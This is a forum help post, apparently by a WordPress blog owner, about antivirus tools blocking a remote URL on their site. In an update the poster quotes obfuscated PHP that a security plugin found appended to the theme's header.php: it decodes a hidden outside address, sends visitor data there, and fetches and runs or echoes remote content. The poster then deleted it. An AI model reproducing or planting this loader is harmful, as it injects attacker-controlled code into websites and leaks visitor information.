Some users of one of our blogs have detected that when loading the page under Windows with antivirus such as Avast or NOD32 a message appears.
The message is something like
"The remote address has been blocked. URL: "unloadpupil.org/u4offvzxwifsh2q/" IP Address: 64.191.81.117:80
I've tried to find this URL or the IP on my blog's database, but no luck, there is no trace of that URL on our content, so I'm pretty upset something's really going on without us knowing.
Is there someway to find the source of the problem?
***** Update ********
The phpAV file suggested by Mangia is a possible option, but I've installed the WordPress Antivirus Plugin, and it has given me a list of possible files affected by malware. On my site's theme the header.php had at the end of it the following text:
<?php
error_reporting(0);
$cf=strrev('edo'.'ced'.'_46esab');$counter=$cf('aHR0cDovL3NpdGVzY3VscHRvci5iaXovbC5waHA/aWQ9').md5($_SERVER['SERVER_NAME']);
$data=array('HTTP_ACCEPT_CHARSET','HTTP_ACCEPT_LANGUAGE','HTTP_HOST','HTTP_REFERER',
'HTTP_USER_AGENT','HTTP_QUERY_STRING','REMOTE_ADDR','REQUEST_URI','REQUEST_METHOD','SCRIPT_FILENAME');
foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if(!$fn||strlen($fn)<4){ob_start();include($u);$fn=ob_get_contents();ob_clean();}
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}
?>
That, according to a previous message on StackExchange, could be malware. I've deleted it and I'm looking for further problems.